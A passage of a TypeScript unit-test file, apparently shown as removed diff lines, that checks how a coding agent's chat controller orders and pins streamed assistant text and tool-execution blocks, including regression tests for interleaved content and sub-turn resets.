any) { - this.children.push(component); - }, - removeChild(component: any) { - const idx = this.children.indexOf(component); - if (idx !== -1) this.children.splice(idx, 1); - }, - clear() { - this.children = []; - }, - }; - - const host: any = { - isInitialized: true, - init: async () => {}, - defaultEditor: { onEscape: undefined }, - editor: {}, - session: { - retryAttempt: 0, - abortCompaction: () => {}, - abortRetry: () => {}, - }, - ui: { requestRender: () => {}, terminal: { rows: 50 } }, - footer: { invalidate: () => {} }, - keybindings: {}, - statusContainer: { clear: () => {}, addChild: () => {} }, - chatContainer, - settingsManager: { - getTimestampFormat: () => "date-time-iso", - getShowImages: () => false, - }, - pendingTools: new Map(), - toolOutputExpanded: false, - hideThinkingBlock: false, - isBashMode: false, - defaultWorkingMessage: "Working...", - compactionQueuedMessages: [], - editorContainer: {}, - pendingMessagesContainer: { clear: () => {} }, - pinnedMessageContainer, - addMessageToChat: () => {}, - getMarkdownThemeWithSettings: () => ({}), - formatWebSearchResult: () => "", - getRegisteredToolDefinition: () => undefined, - checkShutdownRequested: async () => {}, - rebuildChatFromMessages: () => {}, - flushCompactionQueue: async () => {}, - showStatus: () => {}, - showError: () => {}, - updatePendingMessagesDisplay: () => {}, - updateTerminalTitle: () => {}, - updateEditorBorderColor: () => {}, - }; - - return host; -} - -test("chat-controller renders content blocks in content[] index order (tool-first stream)", async () => { - // ToolExecutionComponent uses the global theme singleton. - // Install a minimal no-op theme implementation for this unit test. - (globalThis as any)[Symbol.for("@singularity-forge/pi-coding-agent:theme")] = - { - fg: (_key: string, text: string) => text, - bg: (_key: string, text: string) => text, - bold: (text: string) => text, - italic: (text: string) => text, - truncate: (text: string) => text, - }; - - const host = createHost(); - const toolId = "mcp-tool-1"; - const toolCall = { - type: "toolCall", - id: toolId, - name: "exec_command", - arguments: { cmd: "echo hi" }, - }; - - await handleAgentEvent(host, { - type: "message_start", - message: makeAssistant([]), - } as any); - - assert.equal( - host.chatContainer.children.length, - 0, - "nothing should render before content arrives", - ); - - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([toolCall]), - assistantMessageEvent: { - type: "toolcall_end", - contentIndex: 0, - toolCall: { - ...toolCall, - externalResult: { - content: [{ type: "text", text: "tool output" }], - details: {}, - isError: false, - }, - }, - partial: makeAssistant([toolCall]), - }, - } as any); - - // content[0] = toolCall → ToolExecutionComponent renders first - assert.equal( - host.chatContainer.children.length, - 1, - "tool execution block should render immediately", - ); - assert.equal( - host.chatContainer.children[0]?.constructor?.name, - "ToolExecutionComponent", - ); - - host.getMarkdownThemeWithSettings = () => ({}); - - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([toolCall, { type: "text", text: "done" }]), - assistantMessageEvent: { - type: "text_delta", - contentIndex: 1, - delta: "done", - partial: makeAssistant([toolCall, { type: "text", text: "done" }]), - }, - } as any); - - // content[0]=toolCall, content[1]=text → order: tool, then text - assert.equal( - host.chatContainer.children.length, - 2, - "text run should render after tool in content[] order", - ); - assert.equal( - host.chatContainer.children[0]?.constructor?.name, - "ToolExecutionComponent", - ); - assert.equal( - host.chatContainer.children[1]?.constructor?.name, - "AssistantMessageComponent", - ); -}); - -test("chat-controller renders serverToolUse before trailing text matching content[] index order", async () => { - (globalThis as any)[Symbol.for("@singularity-forge/pi-coding-agent:theme")] = - { - fg: (_key: string, text: string) => text, - bg: (_key: string, text: string) => text, - bold: (text: string) => text, - italic: (text: string) => text, - truncate: (text: string) => text, - }; - - const host = createHost(); - const toolId = "mcp-secure-1"; - const serverToolUse = { - type: "serverToolUse", - id: toolId, - name: "mcp__external-tools__secure_env_collect", - input: { - projectDir: "/tmp/project", - keys: [{ key: "SECURE_PASSWORD" }], - destination: "dotenv", - }, - }; - - await handleAgentEvent(host, { - type: "message_start", - message: makeAssistant([]), - } as any); - - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([serverToolUse]), - assistantMessageEvent: { - type: "server_tool_use", - contentIndex: 0, - partial: makeAssistant([serverToolUse]), - }, - } as any); - - // content[0] = serverToolUse → ToolExecutionComponent renders first - assert.equal( - host.chatContainer.children.length, - 1, - "server tool block should render immediately", - ); - assert.equal( - host.chatContainer.children[0]?.constructor?.name, - "ToolExecutionComponent", - ); - - host.getMarkdownThemeWithSettings = () => ({}); - const resultMessage = makeAssistant([ - { - ...serverToolUse, - externalResult: { - content: [ - { type: "text", text: "secure_env_collect was cancelled by user." }, - ], - details: {}, - isError: true, - }, - }, - { type: "text", text: "The secure password collection was cancelled." }, - ]); - - await handleAgentEvent(host, { - type: "message_update", - message: resultMessage, - assistantMessageEvent: { - type: "server_tool_use", - contentIndex: 0, - partial: resultMessage, - }, - } as any); - - // content[0]=serverToolUse, content[1]=text → order: tool, then text - assert.equal( - host.chatContainer.children.length, - 2, - "text run should render after server tool in content[] order", - ); - assert.equal( - host.chatContainer.children[0]?.constructor?.name, - "ToolExecutionComponent", - ); - assert.equal( - host.chatContainer.children[1]?.constructor?.name, - "AssistantMessageComponent", - ); -}); - -test("chat-controller keeps pre-tool prose visible until post-tool prose arrives, then prunes it", async () => { - (globalThis as any)[Symbol.for("@singularity-forge/pi-coding-agent:theme")] = - { - fg: (_key: string, text: string) => text, - bg: (_key: string, text: string) => text, - bold: (text: string) => text, - italic: (text: string) => text, - truncate: (text: string) => text, - }; - - const host = createHost(); - host.getMarkdownThemeWithSettings = () => ({}); - - const mcpTool = { - type: "toolCall", - id: "mcp-tool-1", - name: "read", - mcpServer: "filesystem", - arguments: { filePath: "/tmp/demo.txt" }, - }; - - await handleAgentEvent(host, { - type: "message_start", - message: makeAssistant([]), - } as any); - - // Provisional assistant text arrives first. - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([ - { type: "text", text: "Let me inspect the workspace first." }, - ]), - assistantMessageEvent: { - type: "text_delta", - contentIndex: 0, - delta: "Let me inspect the workspace first.", - partial: makeAssistant([ - { type: "text", text: "Let me inspect the workspace first." }, - ]), - }, - } as any); - assert.equal(host.chatContainer.children.length, 1); - assert.equal( - host.chatContainer.children[0]?.constructor?.name, - "AssistantMessageComponent", - ); - - // MCP tool appears; provisional text should remain visible until post-tool prose exists. - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([ - { type: "text", text: "Let me inspect the workspace first." }, - mcpTool, - ]), - assistantMessageEvent: { - type: "toolcall_end", - contentIndex: 1, - toolCall: { - ...mcpTool, - externalResult: { - content: [{ type: "text", text: "file preview" }], - details: {}, - isError: false, - }, - }, - partial: makeAssistant([ - { type: "text", text: "Let me inspect the workspace first." }, - mcpTool, - ]), - }, - } as any); - assert.equal( - host.chatContainer.children.length, - 2, - "pre-tool prose should remain during tool-only window", - ); - assert.equal( - host.chatContainer.children[0]?.constructor?.name, - "AssistantMessageComponent", - ); - assert.equal( - host.chatContainer.children[1]?.constructor?.name, - "ToolExecutionComponent", - ); - - // Post-tool prose arrives: pre-tool prose should now be pruned. - const finalContent = [ - { type: "text", text: "Let me inspect the workspace first." }, - mcpTool, - { type: "text", text: "Which missing feature matters most to you?" }, - ]; - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant(finalContent), - assistantMessageEvent: { - type: "text_delta", - contentIndex: 2, - delta: "Which missing feature matters most to you?", - partial: makeAssistant(finalContent), - }, - } as any); - assert.equal(host.chatContainer.children.length, 2); - assert.equal( - host.chatContainer.children[0]?.constructor?.name, - "ToolExecutionComponent", - ); - assert.equal( - host.chatContainer.children[1]?.constructor?.name, - "AssistantMessageComponent", - ); - - // Finalize to tear down any pinned spinner state. - await handleAgentEvent(host, { - type: "message_end", - message: makeAssistant(finalContent), - } as any); -}); - -test("chat-controller keeps pre-tool thinking visible for adapter MCP turns without post-tool prose", async () => { - (globalThis as any)[Symbol.for("@singularity-forge/pi-coding-agent:theme")] = - { - fg: (_key: string, text: string) => text, - bg: (_key: string, text: string) => text, - bold: (text: string) => text, - italic: (text: string) => text, - truncate: (text: string) => text, - }; - - const host = createHost(); - host.getMarkdownThemeWithSettings = () => ({}); - - const mcpTool = { - type: "toolCall", - id: "mcp-tool-thinking-1", - name: "read", - mcpServer: "filesystem", - arguments: { filePath: "/tmp/demo.txt" }, - }; - - await handleAgentEvent(host, { - type: "message_start", - message: makeAssistant([]), - } as any); - - const thinkingOnly = [ - { type: "thinking", thinking: "I should inspect the workspace." }, - ]; - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant(thinkingOnly), - assistantMessageEvent: { - type: "thinking_delta", - contentIndex: 0, - delta: "I should inspect the workspace.", - partial: makeAssistant(thinkingOnly), - }, - } as any); - assert.equal(host.chatContainer.children.length, 1); - assert.equal( - host.chatContainer.children[0]?.constructor?.name, - "AssistantMessageComponent", - ); - - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([thinkingOnly[0], mcpTool]), - assistantMessageEvent: { - type: "toolcall_end", - contentIndex: 1, - toolCall: { - ...mcpTool, - externalResult: { - content: [{ type: "text", text: "file preview" }], - details: {}, - isError: false, - }, - }, - partial: makeAssistant([thinkingOnly[0], mcpTool]), - }, - } as any); - - assert.equal( - host.chatContainer.children.length, - 2, - "thinking should remain visible while only tool output is present", - ); - assert.equal( - host.chatContainer.children[0]?.constructor?.name, - "AssistantMessageComponent", - ); - assert.equal( - host.chatContainer.children[1]?.constructor?.name, - "ToolExecutionComponent", - ); - - await handleAgentEvent(host, { - type: "message_end", - message: makeAssistant([thinkingOnly[0], mcpTool]), - } as any); -}); - -test("chat-controller prunes orphaned provisional text after adapter sub-turn shrink when MCP tools appear", async () => { - (globalThis as any)[Symbol.for("@singularity-forge/pi-coding-agent:theme")] = - { - fg: (_key: string, text: string) => text, - bg: (_key: string, text: string) => text, - bold: (text: string) => text, - italic: (text: string) => text, - truncate: (text: string) => text, - }; - - const host = createHost(); - host.getMarkdownThemeWithSettings = () => ({}); - - const mcpTool = { - type: "toolCall", - id: "mcp-tool-shrink-1", - name: "glob", - mcpServer: "filesystem", - arguments: { pattern: "**/*" }, - }; - - await handleAgentEvent(host, { - type: "message_start", - message: makeAssistant([]), - } as any); - - // Sub-turn 1: generate longer provisional text content. - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([ - { type: "text", text: "Old provisional preface." }, - { type: "text", text: "More old text." }, - ]), - assistantMessageEvent: { - type: "text_delta", - contentIndex: 1, - delta: "More old text.", - partial: makeAssistant([ - { type: "text", text: "Old provisional preface." }, - { type: "text", text: "More old text." }, - ]), - }, - } as any); - assert.equal( - host.chatContainer.children.length, - 1, - "first sub-turn text run should render", - ); - - // Sub-turn 2 starts (content shrink): old component is orphaned by design. - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([ - { type: "text", text: "New provisional text before tool." }, - ]), - assistantMessageEvent: { - type: "text_delta", - contentIndex: 0, - delta: "New provisional text before tool.", - partial: makeAssistant([ - { type: "text", text: "New provisional text before tool." }, - ]), - }, - } as any); - assert.equal( - host.chatContainer.children.length, - 2, - "shrink keeps prior text until MCP tool context appears", - ); - - // MCP tool appears in sub-turn 2: tool-only windows keep provisional prose visible. - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([ - { type: "text", text: "New provisional text before tool." }, - mcpTool, - ]), - assistantMessageEvent: { - type: "toolcall_end", - contentIndex: 1, - toolCall: { - ...mcpTool, - externalResult: { - content: [{ type: "text", text: "glob output" }], - details: {}, - isError: false, - }, - }, - partial: makeAssistant([ - { type: "text", text: "New provisional text before tool." }, - mcpTool, - ]), - }, - } as any); - assert.equal( - host.chatContainer.children.length, - 3, - "stale text runs are deferred until post-tool prose arrives", - ); - assert.equal( - host.chatContainer.children[0]?.constructor?.name, - "AssistantMessageComponent", - ); - assert.equal( - host.chatContainer.children[1]?.constructor?.name, - "AssistantMessageComponent", - ); - assert.equal( - host.chatContainer.children[2]?.constructor?.name, - "ToolExecutionComponent", - ); - - const finalContent = [ - mcpTool, - { type: "text", text: "Final visible question?" }, - ]; - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant(finalContent), - assistantMessageEvent: { - type: "text_delta", - contentIndex: 1, - delta: "Final visible question?", - partial: makeAssistant(finalContent), - }, - } as any); - assert.equal(host.chatContainer.children.length, 2); - assert.equal( - host.chatContainer.children[0]?.constructor?.name, - "ToolExecutionComponent", - ); - assert.equal( - host.chatContainer.children[1]?.constructor?.name, - "AssistantMessageComponent", - ); - - await handleAgentEvent(host, { - type: "message_end", - message: makeAssistant(finalContent), - } as any); -}); - -test("chat-controller pins latest assistant text above editor when tool calls are present", async () => { - (globalThis as any)[Symbol.for("@singularity-forge/pi-coding-agent:theme")] = - { - fg: (_key: string, text: string) => text, - bg: (_key: string, text: string) => text, - bold: (text: string) => text, - italic: (text: string) => text, - truncate: (text: string) => text, - }; - - const host = createHost(); - const toolId = "tool-pin-1"; - const toolCall = { - type: "toolCall", - id: toolId, - name: "exec_command", - arguments: { cmd: "echo hi" }, - }; - - await handleAgentEvent(host, { - type: "message_start", - message: makeAssistant([]), - } as any); - - assert.equal( - host.pinnedMessageContainer.children.length, - 0, - "pinned zone should be empty at message_start", - ); - - // Send a message with text followed by a tool call - host.getMarkdownThemeWithSettings = () => ({}); - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([ - { type: "text", text: "Looking at the files now." }, - toolCall, - ]), - assistantMessageEvent: { - type: "toolcall_end", - contentIndex: 1, - toolCall: { - ...toolCall, - externalResult: { - content: [{ type: "text", text: "file contents" }], - details: {}, - isError: false, - }, - }, - partial: makeAssistant([ - { type: "text", text: "Looking at the files now." }, - toolCall, - ]), - }, - } as any); - - // Pinned zone should now have a DynamicBorder and a Markdown component - assert.equal( - host.pinnedMessageContainer.children.length, - 2, - "pinned zone should have border + markdown", - ); - assert.equal( - host.pinnedMessageContainer.children[0]?.constructor?.name, - "DynamicBorder", - ); - assert.equal( - host.pinnedMessageContainer.children[1]?.constructor?.name, - "Markdown", - ); -}); - -test("chat-controller clears pinned zone when a new assistant message starts", async () => { - (globalThis as any)[Symbol.for("@singularity-forge/pi-coding-agent:theme")] = - { - fg: (_key: string, text: string) => text, - bg: (_key: string, text: string) => text, - bold: (text: string) => text, - italic: (text: string) => text, - truncate: (text: string) => text, - }; - - const host = createHost(); - const toolCall = { - type: "toolCall", - id: "tool-clear-1", - name: "exec_command", - arguments: { cmd: "echo hi" }, - }; - - await handleAgentEvent(host, { - type: "message_start", - message: makeAssistant([]), - } as any); - - // Populate the pinned zone - host.getMarkdownThemeWithSettings = () => ({}); - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([ - { type: "text", text: "Working on it." }, - toolCall, - ]), - assistantMessageEvent: { - type: "toolcall_end", - contentIndex: 1, - toolCall: { - ...toolCall, - externalResult: { - content: [{ type: "text", text: "ok" }], - details: {}, - isError: false, - }, - }, - partial: makeAssistant([ - { type: "text", text: "Working on it." }, - toolCall, - ]), - }, - } as any); - - assert.ok( - host.pinnedMessageContainer.children.length > 0, - "pinned zone should be populated", - ); - - // Start a new assistant message — pinned zone should clear - await handleAgentEvent(host, { - type: "message_start", - message: makeAssistant([]), - } as any); - - assert.equal( - host.pinnedMessageContainer.children.length, - 0, - "pinned zone should clear on new assistant message", - ); -}); - -test("chat-controller clears pinned zone when the agent turn ends", async () => { - (globalThis as any)[Symbol.for("@singularity-forge/pi-coding-agent:theme")] = - { - fg: (_key: string, text: string) => text, - bg: (_key: string, text: string) => text, - bold: (text: string) => text, - italic: (text: string) => text, - truncate: (text: string) => text, - }; - - const host = createHost(); - const toolCall = { - type: "toolCall", - id: "tool-clear-on-end-1", - name: "exec_command", - arguments: { cmd: "echo hi" }, - }; - - await handleAgentEvent(host, { - type: "message_start", - message: makeAssistant([]), - } as any); - - host.getMarkdownThemeWithSettings = () => ({}); - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([ - { type: "text", text: "Working on it." }, - toolCall, - ]), - assistantMessageEvent: { - type: "toolcall_end", - contentIndex: 1, - toolCall: { - ...toolCall, - externalResult: { - content: [{ type: "text", text: "ok" }], - details: {}, - isError: false, - }, - }, - partial: makeAssistant([ - { type: "text", text: "Working on it." }, - toolCall, - ]), - }, - } as any); - - assert.ok( - host.pinnedMessageContainer.children.length > 0, - "pinned zone should be populated before agent_end", - ); - - await handleAgentEvent(host, { type: "agent_end" } as any); - - assert.equal( - host.pinnedMessageContainer.children.length, - 0, - "pinned zone should clear on agent_end", - ); -}); - -test("chat-controller clears pinned zone when assistant message ends", async () => { - (globalThis as any)[Symbol.for("@singularity-forge/pi-coding-agent:theme")] = - { - fg: (_key: string, text: string) => text, - bg: (_key: string, text: string) => text, - bold: (text: string) => text, - italic: (text: string) => text, - truncate: (text: string) => text, - }; - - const host = createHost(); - const toolCall = { - type: "toolCall", - id: "tool-msg-end-1", - name: "exec_command", - arguments: { cmd: "echo hi" }, - }; - - await handleAgentEvent(host, { - type: "message_start", - message: makeAssistant([]), - } as any); - - host.getMarkdownThemeWithSettings = () => ({}); - const msgContent = [{ type: "text", text: "Summary after tools." }, toolCall]; - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant(msgContent), - assistantMessageEvent: { - type: "toolcall_end", - contentIndex: 1, - toolCall: { - ...toolCall, - externalResult: { - content: [{ type: "text", text: "ok" }], - details: {}, - isError: false, - }, - }, - partial: makeAssistant(msgContent), - }, - } as any); - - assert.ok( - host.pinnedMessageContainer.children.length > 0, - "pinned zone should be populated during streaming", - ); - - // End the assistant message (e.g. before form elicitation) — pinned zone should clear - await handleAgentEvent(host, { - type: "message_end", - message: makeAssistant(msgContent), - } as any); - - assert.equal( - host.pinnedMessageContainer.children.length, - 0, - "pinned zone should clear on message_end to prevent duplicate display", - ); -}); - -test("chat-controller does not pin when there are no tool calls", async () => { - (globalThis as any)[Symbol.for("@singularity-forge/pi-coding-agent:theme")] = - { - fg: (_key: string, text: string) => text, - bg: (_key: string, text: string) => text, - bold: (text: string) => text, - italic: (text: string) => text, - truncate: (text: string) => text, - }; - - const host = createHost(); - - await handleAgentEvent(host, { - type: "message_start", - message: makeAssistant([]), - } as any); - - host.getMarkdownThemeWithSettings = () => ({}); - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([ - { type: "text", text: "Just some text, no tools." }, - ]), - assistantMessageEvent: { - type: "text_delta", - contentIndex: 0, - delta: "Just some text, no tools.", - partial: makeAssistant([ - { type: "text", text: "Just some text, no tools." }, - ]), - }, - } as any); - - assert.equal( - host.pinnedMessageContainer.children.length, - 0, - "pinned zone should stay empty without tool calls", - ); -}); - -// Regression test for issue #4144: interleaved text/tool content must render in content[] index order. -// Stream: [text "A", toolCall T1, text "B", toolCall T2, text "C"] -// Expected chatContainer order: textRun(A), toolExec(T1), textRun(B), toolExec(T2), textRun(C) -// Each AssistantMessageComponent must render ONLY its own text — no duplication after message_end. -test("chat-controller renders interleaved text and tool blocks in content[] index order (#4144)", async () => { - (globalThis as any)[Symbol.for("@singularity-forge/pi-coding-agent:theme")] = - { - fg: (_key: string, text: string) => text, - bg: (_key: string, text: string) => text, - bold: (text: string) => text, - italic: (text: string) => text, - truncate: (text: string) => text, - }; - - const host = createHost(); - host.getMarkdownThemeWithSettings = () => ({}); - - const t1 = { type: "toolCall", id: "t1", name: "tool_one", arguments: {} }; - const t2 = { type: "toolCall", id: "t2", name: "tool_two", arguments: {} }; - - await handleAgentEvent(host, { - type: "message_start", - message: makeAssistant([]), - } as any); - - // Stream text "A" at index 0 - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([{ type: "text", text: "A" }]), - assistantMessageEvent: { - type: "text_delta", - contentIndex: 0, - delta: "A", - partial: makeAssistant([{ type: "text", text: "A" }]), - }, - } as any); - - // Stream toolCall T1 at index 1 - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([{ type: "text", text: "A" }, t1]), - assistantMessageEvent: { - type: "toolcall_end", - contentIndex: 1, - toolCall: { - ...t1, - externalResult: { - content: [{ type: "text", text: "result1" }], - details: {}, - isError: false, - }, - }, - partial: makeAssistant([{ type: "text", text: "A" }, t1]), - }, - } as any); - - // Stream text "B" at index 2 - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([ - { type: "text", text: "A" }, - t1, - { type: "text", text: "B" }, - ]), - assistantMessageEvent: { - type: "text_delta", - contentIndex: 2, - delta: "B", - partial: makeAssistant([ - { type: "text", text: "A" }, - t1, - { type: "text", text: "B" }, - ]), - }, - } as any); - - // Stream toolCall T2 at index 3 - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([ - { type: "text", text: "A" }, - t1, - { type: "text", text: "B" }, - t2, - ]), - assistantMessageEvent: { - type: "toolcall_end", - contentIndex: 3, - toolCall: { - ...t2, - externalResult: { - content: [{ type: "text", text: "result2" }], - details: {}, - isError: false, - }, - }, - partial: makeAssistant([ - { type: "text", text: "A" }, - t1, - { type: "text", text: "B" }, - t2, - ]), - }, - } as any); - - // Stream text "C" at index 4 - const finalContent = [ - { type: "text", text: "A" }, - t1, - { type: "text", text: "B" }, - t2, - { type: "text", text: "C" }, - ]; - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant(finalContent), - assistantMessageEvent: { - type: "text_delta", - contentIndex: 4, - delta: "C", - partial: makeAssistant(finalContent), - }, - } as any); - - // Finalize — exercises the message_end path where a buggy setRange(undefined) would cause duplication - await handleAgentEvent(host, { - type: "message_end", - message: makeAssistant(finalContent), - } as any); - - // Assert interleaved order: textRun(A), toolExec(T1), textRun(B), toolExec(T2), textRun(C) - assert.equal( - host.chatContainer.children.length, - 5, - "should have 5 children in interleaved order", - ); - assert.equal( - host.chatContainer.children[0]?.constructor?.name, - "AssistantMessageComponent", - "index 0: text run A", - ); - assert.equal( - host.chatContainer.children[1]?.constructor?.name, - "ToolExecutionComponent", - "index 1: tool T1", - ); - assert.equal( - host.chatContainer.children[2]?.constructor?.name, - "AssistantMessageComponent", - "index 2: text run B", - ); - assert.equal( - host.chatContainer.children[3]?.constructor?.name, - "ToolExecutionComponent", - "index 3: tool T2", - ); - assert.equal( - host.chatContainer.children[4]?.constructor?.name, - "AssistantMessageComponent", - "index 4: text run C", - ); - - // Helper: collect the text of all Markdown children inside an AssistantMessageComponent. - // Structure: AssistantMessageComponent (Container) -> contentContainer (children[0]) -> Markdown nodes. - function getRenderedTexts(comp: any): string[] { - const contentContainer = comp.children?.[0]; - if (!contentContainer) return []; - return (contentContainer.children ?? []) - .filter((c: any) => c.constructor?.name === "Markdown") - .map((c: any) => (c as any).text as string); - } - - // Each text-run component must contain only its own text — no cross-contamination after message_end - assert.deepEqual( - getRenderedTexts(host.chatContainer.children[0]), - ["A"], - "text run A must contain only 'A'", - ); - assert.deepEqual( - getRenderedTexts(host.chatContainer.children[2]), - ["B"], - "text run B must contain only 'B'", - ); - assert.deepEqual( - getRenderedTexts(host.chatContainer.children[4]), - ["C"], - "text run C must contain only 'C'", - ); -}); - -test("chat-controller does not duplicate text when content is [text, tool, text] (interleaved stream)", async () => { - (globalThis as any)[Symbol.for("@singularity-forge/pi-coding-agent:theme")] = - { - fg: (_key: string, text: string) => text, - bg: (_key: string, text: string) => text, - bold: (text: string) => text, - italic: (text: string) => text, - truncate: (text: string) => text, - }; - - const host = createHost(); - host.getMarkdownThemeWithSettings = () => ({}); - - const t1 = { type: "toolCall", id: "t1", name: "tool_one", arguments: {} }; - - await handleAgentEvent(host, { - type: "message_start", - message: makeAssistant([]), - } as any); - - // Step 1: text "A" at index 0 - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([{ type: "text", text: "A" }]), - assistantMessageEvent: { - type: "text_delta", - contentIndex: 0, - delta: "A", - partial: makeAssistant([{ type: "text", text: "A" }]), - }, - } as any); - - // Step 2: toolCall at index 1 - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([{ type: "text", text: "A" }, t1]), - assistantMessageEvent: { - type: "toolcall_end", - contentIndex: 1, - toolCall: { - ...t1, - externalResult: { - content: [{ type: "text", text: "result1" }], - details: {}, - isError: false, - }, - }, - partial: makeAssistant([{ type: "text", text: "A" }, t1]), - }, - } as any); - - // Step 3: text "B" at index 2 - const finalContent = [ - { type: "text", text: "A" }, - t1, - { type: "text", text: "B" }, - ]; - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant(finalContent), - assistantMessageEvent: { - type: "text_delta", - contentIndex: 2, - delta: "B", - partial: makeAssistant(finalContent), - }, - } as any); - - assert.equal(host.chatContainer.children.length, 3); - assert.equal( - host.chatContainer.children[0]?.constructor?.name, - "AssistantMessageComponent", - ); - assert.equal( - host.chatContainer.children[1]?.constructor?.name, - "ToolExecutionComponent", - ); - assert.equal( - host.chatContainer.children[2]?.constructor?.name, - "AssistantMessageComponent", - ); - - const firstText = host.chatContainer.children[0]; - const secondText = host.chatContainer.children[2]; - assert.notEqual( - firstText, - secondText, - "text-before-tool and text-after-tool must be separate component instances", - ); - assert.deepEqual( - (firstText as any).range, - { startIndex: 0, endIndex: 0 }, - "first text-run covers only content[0]", - ); - assert.deepEqual( - (secondText as any).range, - { startIndex: 2, endIndex: 2 }, - "second text-run covers only content[2]", - ); - - // Finalize — regression guard: range must NOT be cleared on message_end (would cause duplication) - await handleAgentEvent(host, { - type: "message_end", - message: makeAssistant(finalContent), - } as any); - - assert.deepEqual( - (secondText as any).range, - { startIndex: 2, endIndex: 2 }, - "range must not be cleared on message_end (would cause duplication)", - ); -}); - -// Regression for the claude-code sub-turn bug that followed #4144: -// an adapter can reset content[] back to 0/1 mid-lifecycle when a new provider -// sub-turn begins. The segment walker must NOT update prior-sub-turn text-run -// components in place (which would destroy earlier history) and must NOT reuse -// stale tool registrations for a new tool at the same contentIndex. Prior -// sub-turn children must stay frozen; new sub-turn segments must append after -// them, and the pinned "Latest Output" mirror must re-evaluate for the new sub-turn. -test("chat-controller freezes prior sub-turn and appends new segments when content shrinks", async () => { - (globalThis as any)[Symbol.for("@singularity-forge/pi-coding-agent:theme")] = - { - fg: (_key: string, text: string) => text, - bg: (_key: string, text: string) => text, - bold: (text: string) => text, - italic: (text: string) => text, - truncate: (text: string) => text, - }; - - const host = createHost(); - host.getMarkdownThemeWithSettings = () => ({}); - - const t1 = { type: "toolCall", id: "t1", name: "tool_one", arguments: {} }; - const t2 = { type: "toolCall", id: "t2", name: "tool_two", arguments: {} }; - - await handleAgentEvent(host, { - type: "message_start", - message: makeAssistant([]), - } as any); - - // Sub-turn 1: grow to [A, T1, B] - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([{ type: "text", text: "A" }]), - assistantMessageEvent: { - type: "text_delta", - contentIndex: 0, - delta: "A", - partial: makeAssistant([{ type: "text", text: "A" }]), - }, - } as any); - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([{ type: "text", text: "A" }, t1]), - assistantMessageEvent: { - type: "toolcall_end", - contentIndex: 1, - toolCall: { - ...t1, - externalResult: { - content: [{ type: "text", text: "r1" }], - details: {}, - isError: false, - }, - }, - partial: makeAssistant([{ type: "text", text: "A" }, t1]), - }, - } as any); - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([ - { type: "text", text: "A" }, - t1, - { type: "text", text: "B" }, - ]), - assistantMessageEvent: { - type: "text_delta", - contentIndex: 2, - delta: "B", - partial: makeAssistant([ - { type: "text", text: "A" }, - t1, - { type: "text", text: "B" }, - ]), - }, - } as any); - - assert.equal( - host.chatContainer.children.length, - 3, - "sub-turn 1 renders 3 children", - ); - const priorA = host.chatContainer.children[0]; - const priorT1 = host.chatContainer.children[1]; - const priorB = host.chatContainer.children[2]; - - // Sub-turn boundary: adapter resets content[] to [C] - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([{ type: "text", text: "C" }]), - assistantMessageEvent: { - type: "text_delta", - contentIndex: 0, - delta: "C", - partial: makeAssistant([{ type: "text", text: "C" }]), - }, - } as any); - - // Prior 3 children must still exist in DOM — and a NEW text-run for "C" appended after them. - assert.equal( - host.chatContainer.children.length, - 4, - "shrink must append new segment, not replace prior history", - ); - assert.equal( - host.chatContainer.children[0], - priorA, - "prior A component stays at index 0", - ); - assert.equal( - host.chatContainer.children[1], - priorT1, - "prior T1 component stays at index 1", - ); - assert.equal( - host.chatContainer.children[2], - priorB, - "prior B component stays at index 2", - ); - assert.notEqual( - host.chatContainer.children[3], - priorA, - "new C text-run must be a different component from prior A", - ); - assert.equal( - host.chatContainer.children[3]?.constructor?.name, - "AssistantMessageComponent", - ); - - // Prior A component must still render "A", not be overwritten with "C". - function getRenderedTexts(comp: any): string[] { - const contentContainer = comp.children?.[0]; - if (!contentContainer) return []; - return (contentContainer.children ?? []) - .filter((c: any) => c.constructor?.name === "Markdown") - .map((c: any) => (c as any).text as string); - } - assert.deepEqual( - getRenderedTexts(priorA), - ["A"], - "prior A text-run must still contain 'A' after shrink", - ); - assert.deepEqual( - getRenderedTexts(priorB), - ["B"], - "prior B text-run must still contain 'B' after shrink", - ); - assert.deepEqual( - getRenderedTexts(host.chatContainer.children[3]), - ["C"], - "new text-run must contain only 'C'", - ); - - // Sub-turn 2 grows with a new tool T2 at contentIndex=1. - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([{ type: "text", text: "C" }, t2]), - assistantMessageEvent: { - type: "toolcall_end", - contentIndex: 1, - toolCall: { - ...t2, - externalResult: { - content: [{ type: "text", text: "r2" }], - details: {}, - isError: false, - }, - }, - partial: makeAssistant([{ type: "text", text: "C" }, t2]), - }, - } as any); - - // T2 must be appended after the new C text-run, not conflated with the stale T1 registration. - assert.equal( - host.chatContainer.children.length, - 5, - "new tool appends after new text-run", - ); - assert.equal( - host.chatContainer.children[4]?.constructor?.name, - "ToolExecutionComponent", - ); - assert.notEqual( - host.chatContainer.children[4], - priorT1, - "new T2 must be a different component from prior T1", - ); - - // Finalize so the module-level pinned spinner (setInterval) is torn down and the test process can exit. - await handleAgentEvent(host, { - type: 